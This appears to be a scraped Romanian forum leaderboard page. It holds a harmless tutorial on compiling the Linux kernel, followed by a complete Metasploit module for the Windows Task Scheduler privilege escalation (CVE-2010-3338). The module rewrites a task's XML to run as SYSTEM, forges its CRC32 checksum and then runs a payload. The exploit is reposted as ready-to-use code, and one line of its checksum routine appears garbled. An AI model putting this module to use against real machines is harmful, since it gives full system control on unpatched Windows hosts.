Leaderboard
Popular Content
Showing content with the highest reputation on 07/20/12 in all areas
-
Compilare Kernel Introducere, necesitate compilare Kernelul sistemului de operare Linux reprezinta componenta cea mai importanta a acestuia. Toata functionalitatea sistemului este realizata de kernel. Dintre cele mai importante functii ale kernelului Linux amintim: • alocarea resurselor diferitelor procese (o parte din RAM, o parte din CPU etc); • contine drivere pentru toate dispozitivele hardware de la placa de baza, placa video, placa de sunet, placa de retea, monitor, tastatura etc; • lucrul cu sistemele de fisiere; • orice operatie de creare, stergere, citire, modificare fisier sau director este realizata de o functie din Kernel; • firewall & routing; • QoS; Un upgrade de kernel se poate face in 2 moduri: 1. Folosind o versiune de kernel direct compilata pentru o anumita distributie si arhitectura. In acest caz noul kernel se instaleaza dintr-un fisier RPM sau DEB. Aceasta metoda are numeroase dezavantaje printre care cele mai importante sunt: • kernelul este compilat pentru o arhitectura generica. Acesta nu este optimizat special pentru tipul nostru de procesor, placa de baza etc. Astfel performantele vor fi mai scazute; • facilitatile oferite sunt generice si anume acesta include facilitati necesare majoritatii utilizatorilor; Exemplu: poate include suport pentru RAID, iar serverul nostru nu foloseste RAID, nu va include suport pentru un firewall la nivel de aplicatie, iar necesitatile serverului nostru presupun folosirea unui astfel de firewall, nu va include driver pentru o anumita placa de retea wireless pe care o folosim daca aceasta este putin mai "deosebita" etc; • kernelul cuprinde multe optiuni nefolositoare in cazul nostru particular; Exemplu: va cuprinde drivere pentru majoritatea placilor de baza, a placilor de retea, diferite aplicatii pe care nu le folosim niciodata etc; • dupa aparitia unei noi versiuni de kernel dureaza o perioada de timp pana cand apare forma sa compilata ca RPM sau DEB. In acest fel exista un "vulnerability window" in care nu suntem protejati impotriva ultimelor vulnerabilitati sau pur si simplu kernelul nostru nu acopera diferite buguri; 2. Compiland direct sursele kernelului Aceasta este metoda preferata in cele mai multe cazuri. Dorim sa compilam un nou kernel in urmatoarele conditii: a) vrem sa includem drivere pentru hardware nou aparut sau pentru hardwareul ale carui drivere nu sunt incluse in versiunea standard de kernel care vine cu distributia; includerea de optiuni pentru diferite aplicatii sau servicii (QoS - HTB, firewall la nivel de aplicatie, criptografie, LVM, RAID etc); c) vrem sa acoperim diferite bug-uri sau probleme de securitate. In medie apare o noua versiune de kernel la circa 2 saptamani. Aceasta acopera bug-urile din versiunea trecuta descoperite intre timp; d) dorim un "fine tuning" al kernelului exact pentru configuratia hardware a serverului nostru (tipul nostru de procesor in special); Indiferent de distributia de Linux folosita, kernelul este acelasi. Acesta este marca inregistrata a lui Linus Torvalds, iar dezvoltarea sa este supravegheata si avizata de acesta. Structura Kernel Linux Un kernel se poate gasi in 2 forme: 1. Modular Un kernel modular se caracterizeaza prin faptul ca intreaga sa functionalitate nu este inclusa in acesta ci in alte fisiere numite module si care se pot incarca/descarca in/din kernel in timp ce acesta este incarcat in RAM si ruleaza. Exemplu: Kernelul nu include suport pentru ipv6 sau pentru ntfs. Suportul pentru ipv6 sau ntfs se gaseste in fisiere separate numite module. Acestea se pot incarca in kernel in momentul in care avem nevoie de respectiva functionalitate respectiv dorim sa folosim ipv6 sau sau sa montam o partitie ntfs. 2. Nemodular Un kernel nemodular se caracterizeaza prin faptul ca intreaga sa functionalitate este inclusa in acesta. Nu se pot incarca/descarca module din kernelul care ruleaza. IMPORTANT !! Kernelul de Linux este reprezentat fizic printr-un SINGUR fisier care se gaseste de obicei /boot sub numele de /boot/vmlinuz-versiune Acesta reprezinta imaginea compilata si compresata a kernelului care se incarca in RAM la butare si doar la butare. Fiecare optiune pe care kernelul o ofera poate fi compilata ca parte integranta a kernelului sau ca modul. LKM (Loadable Kernel Modules) sunt fisiere binare care contin cod folosit pentru a extinde functionalitatea kernelului care ruleaza (the base kernel). Acestea se compileaza odata cu kernelul. Comenzi folosite pentru listare/incarcare/descarcare module din kernel: lsmod - listeaza modulele incarcate in memorie Pentru a incarca/descarca module in/din kernel se foloseste comanda modprobe (fisierul de configurare este /etc/modprobe.conf) modprobe nume_modul - incarca un modul -l = listeaza toate modulele disponibile (nu neaparat incarcate in kernel) -r module_name = descarca un modul din kernel Exemplu: modprobe ip6_tunnel Modulele se gasesc fizic pe hard disk in /lib/modules intr-un director cu numele kernelului si intr-o categorie anume. Compilarea Kernelului De cele mai multe ori compilarea kernelului se realizeaza cu ajutorul unui ghid de compilare. Exista mai multe astfel de ghiduri si anume pasi care trebuie urmati pentru compilarea kernelului. Toate acestea au in comun aceiasi pasi importanti. Ghidul asta de compilare este testat cu succes pe mai multe distributii Linux.In exemplul urmator am folosit Fedora. Etapa 1: Download ultima versiune de kernel de la www.kernel.org,decomprimarea si dezarhivarea sa intr-un director la alegere.Dupa decomprimarea arhivei ne mutam in directorul nou creat. !!!! Toate comenzile se vor executa in directorul care contine sursele kernelului.Pana la ultima etapa si anume restartarea PC-ului / Serverului ramanem in acest director. EXEMPLU: cd /home/pinglord wget -c http://www.kernel.org/pub/linux/kernel/v2.6/linux-2.6.25.12.tar.bz2 tar -xjvf linux-2.6.25.12.tar.bz2 tar -xjvf linux-2.6.25.12.tar.bz2 Etapa 2 Kernelul foloseste un fisier de configurare numit .config. Acesta se numeste "kernel configuration starting point". La acest pas copiem fisierul de configurare .config al kernelului care ruleaza in directorul cu sursele kernelului abia downloadat si care se doreste a fi compilat. Fisierul .config pentru kernelul care ruleaza se gaseste cel mai probabil in directorul /usr/src/kernels/VERSIUNE_KERNEL_CARE_RULEAZA sau in directorul /boot Pe Fedora Core 9 fisierul de configurare al kernelului care ruleaza este /boot/config-2.6.25-14.fc9.i686 pentru versiunea 2.6.25.14 Compilarea unui nou kernel presupune pornirea de la o baza de facilitati si anume cele oferite de kernelul care ruleaza. Practic pentru noul kernel adaugam facilitati noi sau renuntam la facilitati in raport cu "running kernel". Acesta este motivul pentru care avem nevoie de .config al kernelului care ruleaza. Daca .config nu exista in directoarele specificate mai sus, se poate downloada un kernel in format RPM pentru distributia si arhitectura respectiva si i se foloseste fisierul .config. Fisierul de configurare al kernelului este format din optiunile care vor fi incluse in kernel, una pe cate o linie urmate de y (yes) daca se compileaza in imaginea kernelui sau m daca se compileaza ca modul. Exemplu : cp /boot/config-2.6.25-14.fc9.i686 /home/pinglord/linux-2.6.25.12 cd /home/pinglord/linux-2.6.25.12 mv config-2.6.25-14.fc9.i686 .config Etapa 3 Executam comanda: make oldconfig Rularea comenzii determina aparitia unei interfete text care foloseste fisierul de configurare de la kernelul vechi ( .config) pe care il modifica astfel incat sa introduca noile optiuni din kernelul nou care se compileaza, in vechiul fisier de configurare. Etapa 4 Executam comanda : make menuconfig Comanda make gconfig reprezinta o alternativa grafica la make menuconfig Rularea comenzii determina aparitia unei interfete text sau grafice pentru a alege optiunile ce vor fi incluse in kernel la compilare. IMPORTANT! Acesta este momentul in care trebuie sa adaugam optiunile pe care le dorim in kernel, sa le scoatem pe cele in plus etc. Pentru compilarea kernelului in cele mai optime conditii este nevoie de o cunoastere foarte buna a hardware-ului hostului. Etapa 5 Executam comanda: make Se poate executa si cu parametru -j daca exista procesor capabil.Cititi manualul de la make pentru optiunea -j Etapa 6 Executam: cp System.map /boot/System.map-2.6.25.12 ln -sf /boot/System.map-2.6.25.12 /boot/System.map Un simbol reprezinta un nume de variabila sau un nume de functie. System.map reprezinta un tabel cu echivalenta dintre numele simbolurilor si adresele acestora din memorie si este folosit de kernel. Etapa 7 Executam make modules_install Comanda de mai sus instaleaza modulele. Etapa 8 Executam : cp arch/x86/boot/bzImage /boot/vmlinuz-2.6.25.12 In functie de arhitectura directorul x86 poate sa fie i386. bzImage vine de la "big zImage" - Imaginea kernelului comprimata cu algoritmul zlib Cu toate ca numele nu este important, prin conventie se foloseste denumirea de vmlinuz sau bzImage pentru imaginea binara comprimata a kernelului. Intreg kernelul se gaseste intr-un singur fisier si anume fisierul bzImage sau vmlinuz. Sursele kernelului nu mai sunt necesare si pot fi sterse. Etapa 9 Executam : /sbin/mkinitrd /boot/initrd-2.6.25.12.img 2.6.25.12 /CODE]pentru RedHad/Fedora/SuSE sau [CODE]mkinitramfs -o /boot/initrt-2.6.25.12.img 2.6.25.12 pentru Ubuntu/Kubuntu/etc Exemplu: Se doreste suport pentru RAID, LVM sau SATA sau pentru alte functionalitati low level. Comanda de mai sus creaza un RAM Disk care contine modulele necesare la butarea sistemului. Primul argument al comenzii mkinitrd este fisierul de tip RAM Disk care se va crea. Al doilea argument si anume 2.6.25.12 este numele directorului din /lib/modules in care se gasesc modulele noului kernel. Automat in fata argumentului 2 se pune /lib/modules/ Etapa 10 Se modifica bootloaderul si anume grub.conf pentru a adauga noul kernel. Daca se foloseste Grub2 se ruleaza: update-grub2 Kernelul compilat nu este inca folosit de sistem. Acesta va fi folosit doar dupa restartarea calculatorului si alegerea sa din lista de kernele din meniul Grub. Referirea la vechiul kernel din fisierul de configurare al Grub-ului NU se sterge ! Posibilitatea ca sistemul sa nu mai buteze datorita unei erori sau datorita lipsei unei optiuni incluse in kernel este destul de mare. Este extrem de important sa nu stergem vechiul kernel (cel butabil) pentru a buta cu el in caz de nevoie. Eroarea fatala care poate sa apara este KERNEL PANIC.1 point
-
1 point
-
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'msf/core/post/common' require 'rex' require 'zlib' class Metasploit3 < Msf::Exploit::Local include Msf::Exploit::EXE include Msf::Post::Common include Msf::Post::File def initialize(info={}) super(update_info(info, { 'Name' => 'Windows Escalate Task Scheduler XML Privilege Escalation', 'Description' => %q{ This module exploits the Task Scheduler 2.0 XML 0day exploited by Stuxnet. When processing task files, the Windows Task Scheduler only uses a CRC32 checksum to validate that the file has not been tampered with. Also, In a default configuration, normal users can read and write the task files that they have created. By modifying the task file and creating a CRC32 collision, an attacker can execute arbitrary commands with SYSTEM privileges. NOTE: Thanks to webDEViL for the information about disable/enable. }, 'License' => MSF_LICENSE, 'Author' => [ 'jduck' ], 'Version' => '$Revision$', 'Arch' => [ ARCH_X86, ARCH_X86_64 ], 'Platform' => [ 'windows' ], 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ [ 'Windows Vista, 7, and 2008', {} ], ], 'References' => [ [ 'OSVDB', '68518' ], [ 'CVE', '2010-3338' ], [ 'BID', '44357' ], [ 'MSB', 'MS10-092' ], [ 'EDB', 15589 ] ], 'DisclosureDate'=> 'Sep 13 2010', 'DefaultTarget' => 0 })) register_options([ OptString.new("CMD", [ false, "Command to execute instead of a payload" ]), OptString.new("TASKNAME", [ false, "A name for the created task (default random)" ]), ]) end def check vuln = false winver = sysinfo["OS"] affected = [ 'Windows Vista', 'Windows 7', 'Windows 2008' ] affected.each { |v| if winver.include? v vuln = true break end } if not vuln return Exploit::CheckCode::Safe end return Exploit::CheckCode::Appears end def exploit if sysinfo["Architecture"] =~ /wow64/i # # WOW64 Filesystem Redirection prevents us opening the file directly. To make matters # worse, meterpreter/railgun creates things in a new thread, making it much more # difficult to disable via Wow64EnableWow64FsRedirection. Until we can get around this, # offer a workaround and error out. # print_error("Running against via WOW64 is not supported, try using an x64 meterpreter...") return end if check == Exploit::CheckCode::Safe print_error("#{winver} is not vulnerable.") return end taskname = datastore["TASKNAME"] || nil cmd = datastore["CMD"] || nil upload_fn = nil tempdir = session.fs.file.expand_path("%TEMP%") if not cmd # Get the exe payload. exe = generate_payload_exe #and placing it on the target in %TEMP% tempexename = Rex::Text.rand_text_alpha(rand(8)+6) cmd = tempdir + "\\" + tempexename + ".exe" print_status("Preparing payload at #{cmd}") write_file(cmd, exe) else print_status("Using command: #{cmd}") end # # Create a new task to do our bidding, but make sure it doesn't run. # taskname ||= Rex::Text.rand_text_alphanumeric(8+rand(8)) sysdir = session.fs.file.expand_path("%SystemRoot%") taskfile = "#{sysdir}\\system32\\tasks\\#{taskname}" print_status("Creating task: #{taskname}") cmdline = "schtasks.exe /create /tn #{taskname} /tr \"#{cmd}\" /sc monthly /f" # print_debug("Will Execute:\n\t#{cmdline}") exec_schtasks(cmdline, "create the task") # # Read the contents of the newly creates task file # content = read_task_file(taskname, taskfile) # # Double-check that we got what we expect. # if content[0,2] != "\xff\xfe" # # Convert to unicode, since it isn't already # content = content.unpack('C*').pack('v*') else # # NOTE: we strip the BOM here to exclude it from the crc32 calculation # content = content[2,content.length] end # # Record the crc32 for later calculations # old_crc32 = crc32(content) print_status("Original CRC32: 0x%x" % old_crc32) # # Convert the file contents from unicode # content = content.unpack('v*').pack('C*') # # Mangle the contents to now run with SYSTEM privileges # content.gsub!('LeastPrivilege', 'HighestAvailable') content.gsub!(/<UserId>.*<\/UserId>/, '<UserId>S-1-5-18</UserId>') content.gsub!(/<Author>.*<\/Author>/, '<Author>S-1-5-18</Author>') #content.gsub!('<LogonType>InteractiveToken</LogonType>', '<LogonType>Password</LogonType>') content.gsub!('Principal id="Author"', 'Principal id="LocalSystem"') content.gsub!('Actions Context="Author"', 'Actions Context="LocalSystem"') content << "<!-- ZZ -->" # # Convert it back to unicode # content = Rex::Text.to_unicode(content) # # Fix it so the CRC matches again # fix_crc32(content, old_crc32) new_crc32 = crc32(content) print_status("Final CRC32: 0x%x" % new_crc32) # # Write the new content back # print_status("Writing our modified content back...") fd = session.fs.file.new(taskfile, "wb") fd.write "\xff\xfe" + content fd.close # # Validate our results # print_status("Validating task: #{taskname}") exec_schtasks("schtasks.exe /query /tn #{taskname}", "validate the task") # # Run the task # print_status("Disabling the task...") exec_schtasks("schtasks.exe /change /tn #{taskname} /disable", "disable the task") print_status("Enabling the task...") exec_schtasks("schtasks.exe /change /tn #{taskname} /enable", "enable the task") print_status("Executing the task...") exec_schtasks("schtasks.exe /run /tn #{taskname}", "run the task") # # And delete it. # print_status("Deleting the task...") exec_schtasks("schtasks.exe /delete /f /tn #{taskname}", "delete the task") end def crc32(data) table = Zlib.crc_table crc = 0xffffffff data.unpack('C*').each { |b| crc = table[(crc & 0xff) ^ b] ^ (crc >> 8) } crc end def fix_crc32(data, old_crc) # # CRC32 stuff from ESET (presumably reversed from Stuxnet, which was presumably # reversed from Microsoft's code) # bwd_table = [ 0x00000000, 0xDB710641, 0x6D930AC3, 0xB6E20C82, 0xDB261586, 0x005713C7, 0xB6B51F45, 0x6DC41904, 0x6D3D2D4D, 0xB64C2B0C, 0x00AE278E, 0xDBDF21CF, 0xB61B38CB, 0x6D6A3E8A, 0xDB883208, 0x00F93449, 0xDA7A5A9A, 0x010B5CDB, 0xB7E95059, 0x6C985618, 0x015C4F1C, 0xDA2D495D, 0x6CCF45DF, 0xB7BE439E, 0xB74777D7, 0x6C367196, 0xDAD47D14, 0x01A57B55, 0x6C616251, 0xB7106410, 0x01F26892, 0xDA836ED3, 0x6F85B375, 0xB4F4B534, 0x0216B9B6, 0xD967BFF7, 0xB4A3A6F3, 0x6FD2A0B2, 0xD930AC30, 0x0241AA71, 0x02B89E38, 0xD9C99879, 0x6F2B94FB, 0xB45A92BA, 0xD99E8BBE, 0x02EF8DFF, 0xB40D817D, 0x6F7C873C, 0xB5FFE9EF, 0x6E8EEFAE, 0xD86CE32C, 0x031DE56D, 0x6ED9FC69, 0xB5A8FA28, 0x034AF6AA, 0xD83BF0EB, 0xD8C2C4A2, 0x03B3C2E3, 0xB551CE61, 0x6E20C820, 0x03E4D124, 0xD895D765, 0x6E77DBE7, 0xB506DDA6, 0xDF0B66EA, 0x047A60AB, 0xB2986C29, 0x69E96A68, 0x042D736C, 0xDF5C752D, 0x69BE79AF, 0xB2CF7FEE, 0xB2364BA7, 0x69474DE6, 0xDFA54164, 0x04D44725, 0x69105E21, 0xB2615860, 0x048354E2, 0xDFF252A3, 0x05713C70, 0xDE003A31, 0x68E236B3, 0xB39330F2, 0xDE5729F6, 0x05262FB7, 0xB3C42335, 0x68B52574, 0x684C113D, 0xB33D177C, 0x05DF1BFE, 0xDEAE1DBF, 0xB36A04BB, 0x681B02FA, 0xDEF90E78, 0x05880839, 0xB08ED59F, 0x6BFFD3DE, 0xDD1DDF5C, 0x066CD91D, 0x6BA8C019, 0xB0D9C658, 0x063BCADA, 0xDD4ACC9B, 0xDDB3F8D2, 0x06C2FE93, 0xB020F211, 0x6B51F450, 0x0695ED54, 0xDDE4EB15, 0x6B06E797, 0xB077E1D6, 0x6AF48F05, 0xB1858944, 0x076785C6, 0xDC168387, 0xB1D29A83, 0x6AA39CC2, 0xDC419040, 0x07309601, 0x07C9A248, 0xDCB8A409, 0x6A5AA88B, 0xB12BAECA, 0xDCEFB7CE, 0x079EB18F, 0xB17CBD0D, 0x6A0DBB4C, 0x6567CB95, 0xBE16CDD4, 0x08F4C156, 0xD385C717, 0xBE41DE13, 0x6530D852, 0xD3D2D4D0, 0x08A3D291, 0x085AE6D8, 0xD32BE099, 0x65C9EC1B, 0xBEB8EA5A, 0xD37CF35E, 0x080DF51F, 0xBEEFF99D, 0x659EFFDC, 0xBF1D910F, 0x646C974E, 0xD28E9BCC, 0x09FF9D8D, 0x643B8489, 0xBF4A82C8, 0x09A88E4A, 0xD2D9880B, 0xD220BC42, 0x0951BA03, 0xBFB3B681, 0x64C2B0C0, 0x0906A9C4, 0xD277AF85, 0x6495A307, 0xBFE4A546, 0x0AE278E0, 0xD1937EA1, 0x67717223, 0xBC007462, 0xD1C46D66, 0x0AB56B27, 0xBC5767A5, 0x672661E4, 0x67DF55AD, 0xBCAE53EC, 0x0A4C5F6E, 0xD13D592F, 0xBCF9402B, 0x6788466A, 0xD16A4AE8, 0x0A1B4CA9, 0xD098227A, 0x0BE9243B, 0xBD0B28B9, 0x667A2EF8, 0x0BBE37FC, 0xD0CF31BD, 0x662D3D3F, 0xBD5C3B7E, 0xBDA50F37, 0x66D40976, 0xD03605F4, 0x0B4703B5, 0x66831AB1, 0xBDF21CF0, 0x0B101072, 0xD0611633, 0xBA6CAD7F, 0x611DAB3E, 0xD7FFA7BC, 0x0C8EA1FD, 0x614AB8F9, 0xBA3BBEB8, 0x0CD9B23A, 0xD7A8B47B, 0xD7518032, 0x0C208673, 0xBAC28AF1, 0x61B38CB0, 0x0C7795B4, 0xD70693F5, 0x61E49F77, 0xBA959936, 0x6016F7E5, 0xBB67F1A4, 0x0D85FD26, 0xD6F4FB67, 0xBB30E263, 0x6041E422, 0xD6A3E8A0, 0x0DD2EEE1, 0x0D2BDAA8, 0xD65ADCE9, 0x60B8D06B, 0xBBC9D62A, 0xD60DCF2E, 0x0D7CC96F, 0xBB9EC5ED, 0x60EFC3AC, 0xD5E91E0A, 0x0E98184B, 0xB87A14C9, 0x630B1288, 0x0ECF0B8C, 0xD5BE0DCD, 0x635C014F, 0xB82D070E, 0xB8D43347, 0x63A53506, 0xD5473984, 0x0E363FC5, 0x63F226C1, 0xB8832080, 0x0E612C02, 0xD5102A43, 0x0F934490, 0xD4E242D1, 0x62004E53, 0xB9714812, 0xD4B55116, 0x0FC45757, 0xB9265BD5, 0x62575D94, 0x62AE69DD, 0xB9DF6F9C, 0x0F3D631E, 0xD44C655F, 0xB9887C5B, 0x62F97A1A, 0xD41B7698, 0x0F6A70D9 ] crc = crc32(data[0, data.length - 12]) data[-12, 4] = [crc].pack('V') data[-12, 12].unpack('C*').reverse.each { |b| old_crc = ((old_crc << 8) ^ bwd_table[old_crc >> 24] ^ & 0xffffffff } data[-12, 4] = [old_crc].pack('V') end def exec_schtasks(cmdline, purpose) cmdline = "/c #{cmdline.strip} && echo SCHELEVATOR" lns = cmd_exec('cmd.exe', cmdline) success = false lns.each_line { |ln| ln.chomp! if ln =~ /^SUCCESS\:\s/ success = true print_status(ln) else print_status(ln) end } end def read_task_file(taskname, taskfile) print_status("Reading the task file contents from #{taskfile}...") # Can't read the file directly on 2008? content = '' fd = session.fs.file.new(taskfile, "rb") until fd.eof? content << fd.read end fd.close content end end sursa:bugsearch.net1 point